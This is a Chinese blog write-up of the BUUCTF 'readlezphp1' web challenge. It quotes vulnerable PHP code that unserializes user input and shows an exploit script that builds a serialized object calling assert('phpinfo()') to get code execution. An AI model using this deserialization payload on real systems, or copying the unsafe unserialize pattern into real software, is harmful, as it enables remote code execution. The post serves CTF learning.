BUUCTF WEB readlezphp1

最新推荐文章于 2024-08-07 20:16:15 发布

显哥无敌

最新推荐文章于 2024-08-07 20:16:15 发布

阅读量520

点赞数

分类专栏： BUUCTF 文章标签： web安全

本文链接：https://blog.csdn.net/qq_41696858/article/details/122250259

版权

BUUCTF 专栏收录该内容

80 篇文章 6 订阅

订阅专栏

这篇博客探讨了一个PHP源码审计的例子，通过分析一个包含奇怪a标签的time.php文件，展示了如何利用assert函数来执行phpinfo()。博主提供了利用脚本，并提醒eval被禁用，但assert可以作为替代。同时，提到了flag不在单独文件中，而是在phpinfo中。博客还附带了一个参考视频链接，帮助读者更深入理解这个过程。

摘要由CSDN通过智能技术生成

打开场景，一个窟窿头，太哈人了，源码审计吧
发现一个奇怪的a标签，time.php?source
访问一下，果然是源码审计

 <?php


#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]);



2021-12-31 01:36:04

利用点很好找，echo $b($a);
函数功能，$b,参数$a
flag不是一个单独文件，在phpinfo里，吐了,eval也被禁用了，assert可以
写个小脚本

<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "phpinfo()";
        $this->b = "assert";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

print_r(urlencode(serialize($c)))
?>